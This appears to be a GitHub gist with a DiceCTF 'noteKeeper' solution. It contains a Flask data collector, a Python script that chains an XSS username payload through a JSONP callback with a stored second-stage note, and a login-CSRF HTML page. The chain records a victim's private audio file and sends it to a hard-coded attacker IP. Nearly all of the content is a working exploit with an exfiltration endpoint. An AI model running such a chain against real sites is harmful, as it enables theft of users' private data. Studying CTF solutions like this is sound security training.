Last active
February 6, 2022 21:08
-
-
Save loknop/16fecad7a0a75ffac942b27103c371aa to your computer and use it in GitHub Desktop.
noteKeeper solution dicectf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from flask import Flask | |
app = Flask(__name__) | |
@app.route("/") | |
def main(): | |
return """\ | |
<script> | |
onmessage = e => { | |
ifr = document.createElement("iframe"); | |
ifr.src = "/dump/" + e.data; | |
document.body.append(ifr); | |
} | |
</script> | |
""" | |
@app.route("/dump/<info>") | |
def test(info): | |
data = info.split(":") | |
with open(data[0] + ".txt", "w") as f: | |
f.write(data[1]) | |
return "xd" | |
app.run(host="0.0.0.0") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from urllib import parse | |
import secrets | |
#url = "http://localhost" | |
url = "https://notekeeper.mc.ax" | |
endpoint_url = "http://104.248.133.199:5000/" # this runs app.py | |
token = secrets.token_hex() | |
payload = f"""\ | |
<iframe srcdoc="<script src='/api/notes/list?callback=parent.opener.setTimeout'></script>"></iframe>\ | |
""" + token | |
payload = parse.quote(payload) | |
stage2 = f"""\ | |
w = window.open() | |
recording_code = ` | |
<button id=logout></button> | |
<script> | |
async function sleep(ms) {{ | |
return new Promise(resolve=>setTimeout(resolve, ms)); | |
}} | |
logout.onclick = async e => {{ | |
try {{ | |
a = new Audio("{url}/api/audio/file?"); | |
await sleep(100); | |
const ac = new AudioContext(); | |
const source = ac.createMediaElementSource(a); | |
const dest = ac.createMediaStreamDestination(); | |
source.connect(dest); | |
const recorder = new MediaRecorder(dest.stream); | |
recorder.start(); | |
a.play(); | |
recorder.ondataavailable = ev => {{ | |
console.log(ev.data); | |
ev.data.arrayBuffer().then(async buf =>{{ | |
arr = new Uint8Array(buf); | |
w2= window.open("{endpoint_url}"); | |
await sleep(500); | |
console.log(w2); | |
for (let i=0; i<arr.length; i += 1000) {{ | |
data = i + ":" + new Uint8Array(arr.subarray(i, i+1000)).toString(); | |
console.log(data); | |
w2.postMessage(data, "*"); | |
}} | |
}}) | |
}}; | |
await sleep(10000); | |
recorder.stop(); | |
}} catch (ex) {{ | |
console.log(ex); | |
navigator.sendBeacon("{endpoint_url}" + ex); | |
}} | |
}} | |
</script> | |
` | |
w.eval(` | |
async function sleep(ms) {{ | |
return new Promise(resolve=>setTimeout(resolve, ms)); | |
}} | |
(async () =>{{ | |
await sleep(5000); | |
opener.location = "{url}/script.js" | |
script_content = atob("${{btoa(recording_code)}}"); | |
console.log(script_content); | |
await sleep(500); | |
opener.document.write(script_content); | |
}})() | |
`) | |
""" | |
password = "asdasd" | |
print(f"username: {payload}") | |
print(f"password: {password}") | |
sess = requests.session() | |
r1 = sess.post(url + "/api/register", headers={ | |
"Content-Type": "application/x-www-form-urlencoded" | |
}, data = f"username={payload}&username&password={password}") | |
r2 = sess.post(url + "/api/notes/add", headers={ | |
"Content-Type": "application/x-www-form-urlencoded" | |
}, data={"note": stage2}) | |
print(r2.status_code) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form id=testform method="post"> | |
<input name=username value=""/> | |
<input name=username value=""> | |
<input name="password" value=""> | |
</form> | |
<script> | |
//url = "http://localhost"; | |
url = "https://notekeeper.mc.ax" | |
testform.action = url + "/api/login"; | |
testform.username[0].value = decodeURIComponent("%3Ciframe%20srcdoc%3D%22%3Cscript%20src%3D%27/api/notes/list%3Fcallback%3Dparent.opener.setTimeout%27%3E%3C/script%3E%22%3E%3C/iframe%3Ebb569ca119e8dc25933b390a06a615adbad2d8304ad176f5ae98948c5d315aea"); | |
testform.password.value = "asdasd"; | |
testform.target = "_blank"; | |
testform.submit(); | |
location = url + "/script.js"; | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment